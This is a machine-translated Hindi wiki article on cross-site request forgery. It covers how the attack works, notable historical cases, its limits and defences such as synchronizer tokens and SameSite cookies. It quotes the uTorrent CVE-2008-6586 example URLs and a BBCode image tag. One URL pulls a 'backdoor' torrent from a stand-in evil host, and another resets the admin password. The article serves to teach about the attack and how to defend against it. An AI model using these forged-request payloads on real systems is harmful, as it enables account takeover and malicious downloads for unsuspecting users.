क्रॉस साइट अनुरोध जालसाजी: Difference between revisions

From Vigyanwiki
No edit summary
 
Line 167: Line 167:
* [https://web.archive.org/web/20090914043521/http://projects.webappsec.org/Cross-Site+Request+Forgery Cross-Site Request Forgery from The Web Application Security Consortium Threat Classification Project]
* [https://web.archive.org/web/20090914043521/http://projects.webappsec.org/Cross-Site+Request+Forgery Cross-Site Request Forgery from The Web Application Security Consortium Threat Classification Project]


{{DEFAULTSORT:Cross-Site Request Forgery}}[[Category: वेब सुरक्षा शोषण]]
{{DEFAULTSORT:Cross-Site Request Forgery}}


 
[[Category:CS1 English-language sources (en)]]
 
[[Category:Created On 10/07/2023|Cross-Site Request Forgery]]
[[Category: Machine Translated Page]]
[[Category:Lua-based templates|Cross-Site Request Forgery]]
[[Category:Created On 10/07/2023]]
[[Category:Machine Translated Page|Cross-Site Request Forgery]]
[[Category:Vigyan Ready]]
[[Category:Pages with script errors|Cross-Site Request Forgery]]
[[Category:Pages with syntax highlighting errors]]
[[Category:Short description with empty Wikidata description|Cross-Site Request Forgery]]
[[Category:Templates Vigyan Ready|Cross-Site Request Forgery]]
[[Category:Templates that add a tracking category|Cross-Site Request Forgery]]
[[Category:Templates that generate short descriptions|Cross-Site Request Forgery]]
[[Category:Templates using TemplateData|Cross-Site Request Forgery]]
[[Category:Webarchive template wayback links]]
[[Category:वेब सुरक्षा शोषण|Cross-Site Request Forgery]]

Latest revision as of 11:27, 21 August 2023

क्रॉस-साइट रिक्वेस्ट जालसाजी, जिसे वन-क्लिक अटैक या सेशन राइडिंग के रूप में भी जाना जाता है। और इसे संक्षिप्त रूप में सीएसआरएफ (कभी-कभी सी-सर्फ कहा जाता है) या एक्सएसआरएफ कहा जाता है,[1] या वेबसाइट या वेब एप्लिकेशन का प्रकार का मालिसियस एक्सप्लॉइट (कंप्यूटर) है। जहां उपयोगकर्ता (कंप्यूटिंग) से अनधिकृत कमांड सबमिट किए जाते हैं। जिस पर वेब एप्लिकेशन विश्वास करता है।[2] इस प्रकार से ऐसी अनेक विधि हैं। जिनसे कोई मालिसियस वेबसाइट ऐसे आदेश प्रसारित कर सकती है; उदाहरण के लिए, विशेष रूप से तैयार किए गए इमेज टैग्स, छिपे हुए फॉर्म और जावास्क्रिप्ट फ़ेच विकल्प या XMLHttpRequests, ये सभी उपयोगकर्ता की कोन्वर्सेसन या नॉलेज के बिना भी कार्य कर सकते हैं। इस प्रकार से क्रॉस साइट स्क्रिप्टिंग (एक्सएसएस) के विपरीत, जो किसी विशेष साइट के लिए उपयोगकर्ता के विश्वास का लाभ उठाता है, सीएसआरएफ उस विश्वास का लाभ उठाता है। जो की साइट उपयोगकर्ता के ब्राउज़र में रखती है।[3] सीएसआरएफ अटैक में, निर्दोष अंतिम उपयोगकर्ता को अटैक्स द्वारा वेब रिक्वेस्ट सबमिट करने के लिए भटकाया जाता है, जिसका उनका अभिप्राय नहीं था। इससे वेबसाइट पर ऐसी क्रियाएँ हो सकती हैं जिनमें इंडवेरटेन्ट क्लाइंट या सर्वर डेटा लीकेज, सेशन स्थिति में परिवर्तन, या अंतिम उपयोगकर्ता के अकाउंट में परिवर्तन सम्मिलित हो सकता है।

इस प्रकार से सीएसआरएफ शब्द का उपयोग सीएसआरएफ अटैक्स के अधीन बचाव में संक्षिप्त नाम के रूप में भी किया जाता है, जैसे कि ऐसी तकनीकें जो ऐसे अटैक्स का परीक्षण करने और रोकने के लिए हेडर डेटा, फॉर्म डेटा या कुकीज़ का उपयोग करती हैं।

विशेषताएँ

सीएसआरएफ अटैक में, अटैक्स का टारगेट निर्दोष विक्टिम को इंडवेरटेन्ट में उस वेबसाइट पर मालिसियस रूप से तैयार किए गए वेब रिक्वेस्ट को सबमिट करने के लिए प्रेरित करना है, जिस तक विक्टिम के पास विशेषाधिकार प्राप्त पहुंच है। इस वेब रिक्वेस्ट को यूआरएल पैरामीटर, कुकीज़ और अन्य डेटा को सम्मिलित करने के लिए तैयार किया जा सकता है। जो रिक्वेस्ट को संसाधित करने वाले वेब सर्वर के लिए सामान्य प्रतीत होते हैं। इस प्रकार से रिस्क में वे वेब एप्लिकेशन हैं, जो विशिष्ट निरूपण के लिए उपयोगकर्ता को प्राधिकरण (जैसे पॉपअप पुष्टिकरण के माध्यम से) की आवश्यकता के बिना विश्वसनीय और ओथेन्टिकेटेड उपयोगकर्ताओं से इनपुट के आधार पर कार्य करते हैं। किन्तु उपयोगकर्ता जो उपयोगकर्ता के वेब ब्राउज़र में सेव्ड की गई एचटीटीपी कुकी द्वारा प्रमाणित है, और इंडवेरटेन्ट में उस साइट पर एचटीटीपी रिक्वेस्ट भेज सकता है। जो की उपयोगकर्ता पर विश्वास करती है। और इस तरह अवांछित निरूपण का कारण बन सकती है।

किन्तु वेब ब्राउज़र की जनरल प्रॉपर्टी यह है कि वे स्वचालित रूप से और इंविसिबली रूप से उस डोमेन पर भेजे गए किसी भी वेब रिक्वेस्ट में किसी दिए गए डोमेन द्वारा उपयोग की जाने वाली किसी भी कुकीज़ (सेशन कुकीज़ और अन्य सहित) को सम्मिलित करते है। और सीएसआरएफ अटैक्स द्वारा इस प्रॉपर्टी को दमन किया जाता है। ऐसी स्थिति में जब किसी उपयोगकर्ता को अपने ब्राउज़र के माध्यम से इंडवेरटेन्ट में रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है, तो ये स्वचालित रूप से सम्मिलित विक्टिम के अकाउंट में परिवर्तन कुकीज़ वेब सर्वर पर जाली रिक्वेस्ट को वास्तविक दिखने का कारण बनेंगी और यह डेटा लौटाने, सेशन स्थिति में परिवर्तन करने या बनाने सहित कोई भी उचित अनुरोधित निरूपण करता है।

अतः सीएसआरएफ अटैक को कार्य करने के लिए, अटैक्स को रेप्रोडयूसिबले वेब रिक्वेस्ट की पहचान करनी करती है, जो टारगेट पेज पर खाता पासवर्ड परिवर्तन जैसी विशिष्ट निरूपण निष्पादित करता है। इस प्रकार से ऐसे रिक्वेस्ट की पहचान हो जाने पर, लिंक बनाया जा सकता है जो इस मालिसियस रिक्वेस्ट को उत्पन्न करता है। और उस लिंक को अटैक्स के नियंत्रण में पेज पर एम्बेड किया जा सकता है।[1][4] यह लिंक इस तरह से रखा जा सकता है कि विक्टिम के लिए लिंक पर क्लिक करना भी आवश्यक नहीं है। अतः उदाहरण के लिए, इसे विक्टिम को भेजे गए ईमेल पर एचटीएमएल इमेज टैग्स के अन्दर एम्बेड किया जा सकता है। जो विक्टिम द्वारा अपना ईमेल खोलने पर स्वचालित रूप से लोड हो जाता है। एक बार जब विक्टिम लिंक पर क्लिक कर देता है, तो उनका ब्राउज़र स्वचालित रूप से उस वेबसाइट द्वारा उपयोग की जाने वाली किसी भी कुकीज़ को सम्मिलित कर लेता है। और वेब सर्वर पर रिक्वेस्ट सबमिट कर देता है। किन्तु वेब सर्वर जालसाजी की पहचान करने में सक्षम नहीं होते है। क्योंकि रिक्वेस्ट उस उपयोगकर्ता द्वारा किया गया था। जिसने इस पेज को लॉग इन किया था। और सभी अपेक्षित कुकीज़ सबमिट की थीं।

क्रॉस-साइट रिक्वेस्ट जालसाजी वेब ब्राउज़र के विरुद्ध कन्फ्यूज्ड डिप्टी का उदाहरण है क्योंकि वेब ब्राउज़र को कम विशेषाधिकार प्राप्त अटैक्स द्वारा जाली रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है।

इस प्रकार से सीएसआरएफ में सामान्यतः निम्नलिखित विशेषताएं होती हैं:

  • इसमें ऐसी साइटें सम्मिलित हैं जो उपयोगकर्ता की ऑनलाइन आइडेंटिटी पर निर्भर करती हैं।
  • यह उस आइडेंटिटी में साइट के विश्वास को दमन करता है।
  • यह उपयोगकर्ता के ब्राउज़र को टारगेट साइट पर एचटीटीपी रिक्वेस्ट भेजने के लिए प्रेरित करता है जहां उपयोगकर्ता पहले से ही प्रमाणित है।
  • इसमें एचटीटीपी रिक्वेस्ट सम्मिलित हैं जिनका साइड इफेक्ट (कंप्यूटर साइंस) है।

इतिहास

इस प्रकार से सीएसआरएफ टोकन निर्बलता ज्ञात हैं। और कुछ स्तिथियो में 2001 से उनका दमन किया गया है।[5] क्योंकि यह उपयोगकर्ता के आईपी एड्रेस से किया जाता है, कुछ वेबसाइट लॉग में सीएसआरएफ का प्रमाण नहीं हो सकता है।[2] कम से कम सार्वजनिक रूप से, और 2007 तक, दमन की कम रिपोर्ट की गई है।[6] इस प्रकार से कुछ वेल-डॉक्यूमेंटेड इसके उदाहरण थे:

  • 2006 में नेटफ्लिक्स वेबसाइट में सीएसआरएफ के लिए अनेक निर्बलता थीं, जो अटैक्स को विक्टिम की किराये की कतार में डीवीडी ऐडडिंग, अकाउंट पर शिपिंग एड्रेस परिवर्तन, या पूर्ण रूप से समझौता करने के लिए विक्टिम के लॉगिन क्रेडेंशियल को परिवर्तन जैसे कार्य करने की अनुमति दे सकती थी।[7]
  • आईएनजी डायरेक्ट का ऑनलाइन बैंकिंग वेब एप्लिकेशन सीएसआरएफ अटैक के प्रति संवेदनशील था जो अवैध मनी ट्रान्सफर की अनुमति देता था।[8]
  • लोकप्रिय वीडियो वेबसाइट यूट्यूब भी 2008 में सीएसआरएफ के प्रति संवेदनशील थी और इसने किसी भी अटैक्स को किसी भी उपयोगकर्ता के लगभग सभी कार्यों को करने की अनुमति दी थी।[8]
  • मैक्एफ़ी सिक्योरिटीज भी सीएसआरएफ के प्रति संवेदनशील थी और इसने अटैक्सों को अपनी कंपनी सिस्टम को परिवर्तन की अनुमति दी। इसे न्यु वर्जन में ठीक कर दिया गया है.[9]

अतः 2018 में वेब-इनेबल्ड डिवाइस के विरुद्ध न्यु अटैक किए गए, जिनमें राउटर की डीएनएस सेटिंग्स को परिवर्तन के प्रयास भी सम्मिलित थे। कुछ राउटर निर्माताओं ने सुरक्षा में सुधार के लिए शीघ्रता में फर्मवेयर अपडेट रेलीज़ड किए है, और रिस्क को कम करने के लिए उपयोगकर्ताओं को राउटर सेटिंग्स परिवर्तन की सलाह दी है। इस प्रकार से ''ऑब्वियस सिक्योरिटी रीज़न'' का सिटिंग देते हुए विवरण रेलीज़ड नहीं किया गया है।[10]

उदाहरण

सीएसआरएफ वल्नेरेबिलिटी का वर्णन करने वाला राष्ट्रीय वल्नेरेबिलिटी डेटाबेस पेज

अटैक्स जो रेप्रोडयूसिबले लिंक फाइंड कर सकते हैं। जो विक्टिम के लॉग इन होने पर टारगेट पेज पर विशिष्ट निरूपण निष्पादित करता है, वे ऐसे लिंक को उस पेज पर एम्बेड कर सकते हैं जिसे वे नियंत्रित करते हैं और विक्टिम को इसे खोलने के लिए धोखा दे सकते हैं।[1] इस प्रकार से अटैक्स कर्रिएर लिंक को उस स्थान पर रखा जा सकता है जहां टारगेट साइट (उदाहरण के लिए, डिस्कशन फ़ोरम) में लॉग इन करते समय विक्टिम के आने की संभावना है, या एचटीएमएल ईमेल बॉडी या अनुलग्नक में भेजा जा सकता है। यूटोरेंट में वास्तविक सीएसआरएफ वल्नेरेबिलिटी (CVE-2008-6586) ने इस तथ्य का लाभ उठाया कि इसका वेब कंसोल लोकलहोस्ट :8080 पर पहुंच योग्य है। ने साधारण जीईटी रिक्वेस्ट का उपयोग करके महत्वपूर्ण कार्रवाइयों को निष्पादित करने की अनुमति दी है:

एक .torrent फ़ाइल डाउनलोड को बाध्य करें
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
यूटोरेंट व्यवस्थापक पासवर्ड चेंज
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

फ़ोरम और ईमेल स्पैम पर मालिसियस, स्वचालित-क्रिया वाले एचटीएमएल तत्व इमेज और ऑब्जेक्ट डालकर अटैक प्रारंभ किए गए है, जिससे इन पेज पर जाने वाले ब्राउज़र उन्हें उपयोगकर्ता की अधिक निरूपण के बिना स्वचालित रूप से खोल सकते है। इन पेजों को खोलने के साथ ही असुरक्षित यूटोरेंट संस्करण चलाने वाले लोग अटैक के प्रति संवेदनशील थे।

इमेज टैग्स का उपयोग करके सीएसआरएफ अटैक प्रायः इंटरनेट फ़ोरम से किए जाते हैं, जहां उपयोगकर्ताओं को इमेजेस पोस्ट करने की अनुमति होती है किन्तु जावास्क्रिप्ट की नहीं, उदाहरण के लिए बीबीसीओडी का उपयोग करना: 

[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]

स्थानीय यूटोरेंट एप्लिकेशन पर अटैक के लिंक तक पहुँचने पर localhost:8080, ब्राउज़र हमेशा उस डोमेन के लिए किसी भी उपस्तिथ एचटीटीपी कुकीज़ को स्वचालित रूप से भेज देगा। वेब ब्राउज़र की यह जनरल प्रॉपर्टी सीएसआरएफ अटैक्स को उनकी टारगेट दुर्बलता का लाभ उठाने और शत्रुतापूर्ण कार्यों को अंजाम देने में सक्षम बनाती है, जब तक कि उपयोगकर्ता अटैक के समय टारगेट वेबसाइट (इस उदाहरण में, स्थानीय यूटोरेंट वेब इंटरफ़ेस) में लॉग इन है।

ऊपर वर्णित यूटोरेंट उदाहरण में, अटैक को इस तथ्य से सुविधाजनक बनाया गया था कि यूटोरेंट के वेब इंटरफ़ेस ने महत्वपूर्ण राज्य-परिवर्तन संचालन (क्रेडेंशियल परिवर्तन, फ़ाइल डाउनलोड इत्यादि) के लिए जीईटी रिक्वेस्ट का उपयोग किया था, जो RFC 2616 स्पष्ट रूप से हतोत्साहित करता है:

विशेष रूप से, यह परंपरा स्थापित की गई है कि जीईटी और एचईएडी विधियों में पुनर्प्राप्ति के अतिरिक्त कोई अन्य कार्रवाई करने का महत्व नहीं होना चाहिए। इन विधियों को "सेफ" माना जाना चाहिए। यह उपयोगकर्ता एजेंटों को अन्य विधियों, जैसे पोस्ट, पुट और डिलीट को एक विशेष विधियों से प्रस्तुत करने की अनुमति देता है, जिससे उपयोगकर्ता को इस तथ्य से अवगत कराया जा सके कि संभवतः असुरक्षित कार्रवाई का अनुरोध किया जा रहा है।

इस धारणा के कारण, वेब फ्रेमवर्क में अनेक उपस्तिथ सीएसआरएफ रोकथाम मेकैनिज़्म्स जीईटी रिक्वेस्ट को कवर नहीं करती है, किन्तु केवल उन एचटीटीपी विधियों पर सुरक्षा प्रयुक्त करेंगे जिनका उद्देश्य स्थान-परिवर्तन करना है।[11]

लॉगिन रिक्वेस्ट फोर्जिंग

एक अटैक्स, अटैक्स के क्रेडेंशियल्स का उपयोग करके विक्टिम को टारगेट वेबसाइट में लॉग इन करने का रिक्वेस्ट कर सकता है; इसे लॉगिन सीएसआरएफ के रूप में जाना जाता है। और लॉगिन सीएसआरएफ विभिन्न नवीन अटैक्स को संभव बनाता है; उदाहरण के लिए, कोई अटैक्स पश्चात अपनी वैलिड साख के साथ साइट पर लॉग इन कर सकता है और अकाउंट में सेव्ड की गई गतिविधि इतिहास जैसी निजी डेटा देख सकता है। यह अटैक गूगल और याहू के विरुद्ध प्रदर्शित किया गया है[12][13]

एचटीटीपी क्रियाएं और सीएसआरएफ

प्रकार के आधार पर, एचटीटीपी रिक्वेस्ट मेथेड रिक्वेस्ट सीएसआरएफ अटैक्स के प्रति उनकी संवेदनशीलता में भिन्न होती हैं (वेब ​​ब्राउज़र द्वारा उनके प्रबंधन में अंतर के कारण)। इसलिए, किसी अटैक के अधीन सुरक्षात्मक उपाय एचटीटीपी रिक्वेस्ट की विधि पर निर्भर करते हैं।

  • एचटीटीपी जीईटी में सीएसआरएफ दमन ऊपर वर्णित विधियों का उपयोग करके तुच्छ है, जैसे कि सरल हाइपरलिंक जिसमें परिवर्तन किए गए पैरामीटर होते हैं और स्वचालित रूप से एचटीएमएल तत्व या इमेज और ऑब्जेक्ट द्वारा लोड किया जाता है। चूंकि, एचटीटीपी विनिर्देशन के अनुसार, जीईटी को हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल या सुरक्षित विधियों के रूप में उपयोग किया जाना चाहिए, अर्थात, एप्लिकेशन में उपयोगकर्ता की स्थिति को महत्वपूर्ण रूप से नहीं परिवर्तन करना चाहिए। ऐसे परिचालनों के लिए जीईटी का उपयोग करने वाले एप्लिकेशनों को एचटीटीपी पोस्ट पर स्विच करना चाहिए या एंटी-सीएसआरएफ सुरक्षा का उपयोग करना चाहिए।
  • सीएसआरएफ के लिए एचटीटीपी पोस्ट वल्नेरेबिलिटी उपयोग परिदृश्य पर निर्भर करती है:
    • क्वेरी स्ट्रिंग के रूप में एन्कोड किए गए डेटा के साथ पोस्ट के सरलतम रूप में (field1=value1&field2=value2) सीएसआरएफ अटैक को सरल फॉर्म (एचटीएमएल) का उपयोग करके सरलता से प्रयुक्त किया जाता है और सीएसआरएफ विरोधी उपायों को प्रयुक्त किया जाना चाहिए।
    • यदि डेटा किसी अन्य प्रारूप (जेएसओएन, एक्सएमएल) में भेजा जाता है, तो समान-मूल नीति (एसओपी) और क्रॉस-मूल रिसोर्स शेयरिंग (सीओआरएस) द्वारा रोके गए सीएसआरएफ अटैक्स के साथ XMLHttpRequests का उपयोग करके पोस्ट रिक्वेस्ट रेलीज़ड करना मानक विधि है; सरल फॉर्म (एचटीएमएल) का उपयोग करके इच्छानुसार कॉन्टेंट भेजने की तकनीक है: ENCTYPE गुण; ऐसे नकली रिक्वेस्ट को वैलिड रिक्वेस्ट से अलग किया जा सकता है text/plain कॉन्टेंट प्रकार, किन्तु यदि इसे सर्वर पर प्रयुक्त नहीं किया जाता है, तो सीएसआरएफ निष्पादित किया जा सकता है[14][15]
  • अन्य एचटीटीपी विधियां (पुट, डिलीट आदि) केवल सीएसआरएफ को रोकने वाली समान-मूल नीति (एसओपी) और क्रॉस-साइट रिसोर्स शेयरिंग (सीओआरएस ) के साथ XMLHttpRequests का उपयोग करके रेलीज़ड की जा सकती हैं; चूंकि ये उपाय उन वेबसाइटों पर सक्रिय नहीं होंगे जो स्पष्ट रूप से इनका उपयोग अक्षम करते हैं Access-Control-Allow-Origin: * हैडर

सीएक्सएमएलएसआरएफ के लिए अन्य दृष्टिकोण

इसके अतिरिक्त, जबकि सामान्यतः स्थिर प्रकार के अटैक के रूप में वर्णित किया जाता है, सीएसआरएफ को क्रॉस-साइट स्क्रिप्टिंग अटैक के लिए पेलोड के भाग के रूप में गतिशील रूप से भी बनाया जा सकता है, जैसा कि सैमी (एक्सएसएस) वर्म द्वारा प्रदर्शित किया गया है, या लीक हुई सेशन डेटा से फ्लाई पर बनाया गया है। ऑफसाइट कॉन्टेंट के माध्यम से और मालिसियस यूआरएल के रूप में टारगेट को भेजा जाता है। सेशन फिक्सेशन या अन्य दुर्बलता के कारण किसी अटैक्स द्वारा सीएसआरएफ टोकन भी क्लाइंट को भेजे जा सकते हैं, या ब्रूट-फोर्स अटैक के माध्यम से अनुमान लगाया जा सकता है, जो मालिसियस पेज पर प्रस्तुत किया जाता है जो हजारों असफल रिक्वेस्ट उत्पन्न करता है। डायनामिक सीएसआरएफ के अटैक्स वर्ग, या सेशन-विशिष्ट जालसाजी के लिए प्रति-ग्राहक पेलोड का उपयोग करने का वर्णन किया गया था[16] अतः 2009 में ब्लैकहैट ब्रीफिंग में नाथन हैमील और शॉन मोयर द्वारा किया जाता है,[17] चूंकि वर्गीकरण को अभी भी व्यापक रूप से अपनाया जाना बाकी है।

गतिशील सीएसआरएफ अटैक की रचना के लिए एक नया वेक्टर ओरेन ओफ़र द्वारा जनवरी 2012- "एजेएक्स हैमर - डायनेमिक सीएसआरएफ" में एक स्थानीय ओडब्ल्यूएएसपी चैप्टर की मीटिंग में प्रस्तुत किया गया था ।[18][19]

प्रभाव

सीएसआरएफ टोकन दुर्बलता के लिए सेवेरीटी आव्यूह रेलीज़ड किए गए हैं जिसके परिणामस्वरूप रूट विशेषाधिकारों के साथ रिमोट कोड एक्सेक्यूटिव होता है[20] साथ ही वल्नेरेबिलिटी जो रूट सर्टिफिकेट से समझौता कर सकती है, जो पब्लिक कीय को मूलभूत रूप से उंडेरमिने कर देती है।[21]

सीमाएँ

इस प्रकार से क्रॉस-साइट रिक्वेस्ट जालसाजी के सफल होने के लिए अनेक चीजें होनी चाहिए:

  1. अटैक्स को या तो ऐसी साइट को टारगेट बनाना चाहिए जो एचटीटीपी रेफरर की चेक नहीं करती है या किसी ऐसे ब्राउज़र या प्लगइन वाले विक्टिम को टारगेट बनाना चाहिए जो रेफरर स्पूफ़िंग की अनुमति देता है।[22]
  2. अटैक्स को टारगेट साइट पर फ़ॉर्म सबमिशन, या यूआरएल सर्च करना होता है। जिसके दुष्प्रभाव हों, जो कुछ करता हो (उदाहरण के लिए, पैसे ट्रांसफर करता है, या विक्टिम का ई-मेल एड्रेस या पासवर्ड परिवर्तन है)।
  3. अटैक्स को सभी फॉर्म या यूआरएल इनपुट के लिए सही मान निर्धारित करना होगा; यदि उनमें से किसी को भी गुप्त ओथेन्टिकेटेड मान या आईडी की आवश्यकता होती है जिसका अटैक्स अनुमान नहीं लगा सकता है, तो अटैक संभवतः विफल हो जाएगा (जब तक कि अटैक्स अपने अनुमान में अत्यंत लकी न हो)।
  4. जब विक्टिम टारगेट साइट पर लॉग इन हो तो अटैक्स को विक्टिम को मालिसियस कोड वाले वेब पेज पर लुभाना चाहिए।

इस प्रकार से अटैक ब्लाइंड है: अटैक्स यह नहीं देख सकता कि जाली रिक्वेस्ट के जवाब में टारगेट वेबसाइट विक्टिम को क्या भेजती है, जब तक कि वे टारगेट वेबसाइट पर क्रॉस-साइट स्क्रिप्टिंग या अन्य बग का लाभ नहीं उठाते है। इसी तरह, अटैक्स केवल किसी भी लिंक को टारगेट कर सकता है या प्रारंभिक जाली रिक्वेस्ट के पश्चात आने वाले किसी भी फॉर्म को सबमिट कर सकता है यदि वे बाद के लिंक या फॉर्म समान रूप से पूर्वानुमानित होते है। (एक पेज पर अनेक इमेजेस को सम्मिलित करके, या क्लिकों के मध्य देरी प्रारंभ करने के लिए जावास्क्रिप्ट का उपयोग करके अनेक टारगेट का अनुकरण किया जा सकता है।)[23]

रोकथाम

अधिकांश सीएसआरएफ रोकथाम तकनीकें रिक्वेस्ट में अतिरिक्त ओथेन्टिकेटेड डेटा एम्बेड करके कार्य करती हैं। जो वेब एप्लिकेशन को अनधिकृत स्थानों से रिक्वेस्ट का पता लगाने की अनुमति देती है।

सिंक्रोनाइज़र टोकन पैटर्न

सिंक्रोनाइज़र टोकन पैटर्न (एसटीपी) ऐसी तकनीक है। जहां टोकन, प्रत्येक रिक्वेस्ट के लिए गुप्त और अद्वितीय मान, सभी एचटीएमएल रूपों में वेब एप्लिकेशन द्वारा एम्बेड किया जाता है और सर्वर साइड पर सत्यापित किया जाता है। टोकन किसी भी विधि से उत्पन्न किया जा सकता है जो अप्रत्याशितता और विशिष्टता सुनिश्चित करता (उदाहरण के लिए यादृच्छिक बीज की हैश श्रृंखला का उपयोग करना)है। इस प्रकार अटैक्स अपने रिक्वेस्ट को प्रमाणित करने के लिए उनमें सही टोकन डालने में असमर्थ है।[1][24][25]

एचटीएमएल फॉर्म में जैंगो (वेब ​​फ्रेमवर्क) द्वारा निर्धारित एसटीपी का उदाहरण: 

<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

एसटीपी सबसे अधिक संगत है क्योंकि यह केवल एचटीएमएल पर निर्भर करता है, किन्तु प्रत्येक रिक्वेस्ट पर टोकन की वैधता की चेक से जुड़े बोझ के कारण सर्वर साइड पर कुछ कॉम्प्लेक्सिटी प्रस्तुत करता है। चूंकि टोकन अद्वितीय और अप्रत्याशित है, यह घटनाओं के उचित अनुक्रम को भी प्रयुक्त करता है (उदाहरण के लिए स्क्रीन 1, फिर 2, फिर 3) जो प्रयोज्य समस्या को उत्पन्न करते है (उदाहरण के लिए उपयोगकर्ता अनेक टैब खोलता है)। प्रति रिक्वेस्ट सीएसआरएफ टोकन के अतिरिक्त प्रति सेशन सीएसआरएफ टोकन का उपयोग करके इसमें छूट दी जा सकती है।

कुकी-टू-हेडर टोकन

वेब एप्लिकेशन जो अपने अधिकांश कार्यों के लिए जावास्क्रिप्ट का उपयोग करते हैं, वे निम्नलिखित एंटी-सीएसआरएफ तकनीक का उपयोग कर सकते हैं:

  • किसी संबद्ध सर्वर सेशन के बिना प्रारंभिक विज़िट पर, वेब एप्लिकेशन कुकी सेट करता है। कुकी में सामान्यतः यादृच्छिक टोकन होता है जो वेब सेशन के जीवनकाल तक समान रह सकता है
Set-Cookie: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/; SameSite=Lax; Secure
  • क्लाइंट साइड पर कार्य करने वाला जावास्क्रिप्ट इसके मान को पढ़ता है और इसे प्रत्येक लेनदेन रिक्वेस्ट के साथ भेजे गए कस्टम एचटीटीपी हेडर में कॉपी करता है
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • सर्वर टोकन की उपस्थिति और संपूर्णता को मान्य करता है

इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर एचटीटीपीएस कनेक्शन के क्लाइंट साइड पर चलने वाली जावास्क्रिप्ट जो प्रारंभ में कुकी सेट करती है, कुकी के मान को पढ़ने में सक्षम होती है। किसी रोगे फ़ाइल या ईमेल से चलने वाली जावास्क्रिप्ट कस्टम हेडर में कॉपी करने के लिए कुकी मान को सफलतापूर्वक पढ़ने में सक्षम नहीं होनी चाहिए। यहां तक ​​कि तथापि csrf-token कुकी स्वचालित रूप से रोगे रिक्वेस्ट के साथ भेजी जा सकती है, कुकी सेमसाइट नीति के अधीन, सर्वर अभी भी वैलिड की अपेक्षा करेगा X-Csrf-Token शीर्ष लेख.

सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे एचएमएसी का उपयोग करके सेशन कुकी से प्राप्त किया जा सकता है: 

csrf_token = HMAC(session_token, application_secret)

सीएसआरएफ टोकन कुकी में httpOnly फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का अभिप्राय है।

यह तकनीक अनेक आधुनिक फ़्रेमवर्क जैसे जैंगो (वेब ​​फ़्रेमवर्क) और एंगुलरजेएस द्वारा कार्यान्वित की जाती है,[26] [27] क्योंकि टोकन पूरे उपयोगकर्ता सेशन में स्थिर रहता है, यह एजेएएक्स एप्लिकेशनों के साथ उचित प्रकार से कार्य करता है, किन्तु वेब एप्लिकेशन में घटनाओं के अनुक्रम को प्रयुक्त नहीं करता है।

यदि टारगेट वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है:

  • clientaccesspolicy.xml सिल्वरलाइट नियंत्रणों तक अनपेक्षित पहुंच प्रदान करती है।[28]
  • crossdomain.xml फ्लैश फिल्मों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल है।[29]


डबल सबमिट कुकी

इस प्रकार से कुकी-टू-हेडर दृष्टिकोण के समान, किन्तु जावास्क्रिप्ट को सम्मिलित किए बिना, साइट सीएसआरएफ टोकन को कुकी के रूप में सेट कर सकती है, और इसे प्रत्येक एचटीएमएल फॉर्म में छिपे हुए फ़ील्ड के रूप में भी डाल सकती है। जब फॉर्म सबमिट किया जाता है, तो साइट चेक कर सकती है कि कुकी टोकन फॉर्म टोकन से मेल खाता है, या नहीं खाता है। जिससे समान-मूल नीति किसी अटैक्स को टारगेट डोमेन पर कुकीज़ पढ़ने या सेट करने से रोकती है, इसलिए वे अपने तैयार किए गए फॉर्म में वैलिड टोकन नहीं डाल सकते हैं।[30]

अतः सिंक्रोनाइज़र पैटर्न की तुलना में इस तकनीक का लाभ यह है कि टोकन को सर्वर पर संग्रहीत करने की आवश्यकता नहीं होती है।

सेमसाईट कुकी विशेषता

जब सर्वर कुकी सेट करता है, तो इसके अतिरिक्त "सेमसाइट" विशेषता सम्मिलित की जा सकती है, जो ब्राउज़र को निर्देश देती है कि कुकी को क्रॉस-साइट रिक्वेस्ट में संलग्न किया जाए या नहीं। यदि यह विशेषता ''स्ट्रीक'' पर सेट है, तो कुकी केवल उसी साइट रिक्वेस्ट पर भेजी जाएगी, जिससे सीएसआरएफ अप्रभावी हो जाते है। चूंकि, इसके लिए ब्राउज़र को विशेषता को पहचानने और सही रूप से प्रयुक्त करने की आवश्यकता होती है।[31]

ग्राहक-पक्ष सुरक्षा उपाय

ब्राउज़र एक्सटेंशन जैसे रिक्वेस्टपॉलिसीय (मोज़िला फ़ायरफ़ॉक्स के लिए) या uMatrix (फ़ायरफ़ॉक्स और गूगल क्रोम/क्रोमियम (वेब ​​​​ब्राउज़र) दोनों के लिए) क्रॉस-साइट रिक्वेस्ट के लिए डिफ़ॉल्ट-अस्वीकार नीति प्रदान करके सीएसआरएफ को रोक सकता है। चूंकि, यह अनेक वेबसाइटों के सामान्य संचालन में महत्वपूर्ण हस्तक्षेप कर सकता है। सीएसफायर एक्सटेंशन (फ़ायरफ़ॉक्स के लिए भी) क्रॉस-साइट रिक्वेस्ट से ओथेन्टिकेटेड डेटा को हटाकर, सामान्य ब्राउज़िंग पर कम प्रभाव के साथ सीएसआरएफ के प्रभाव को कम कर सकता है।

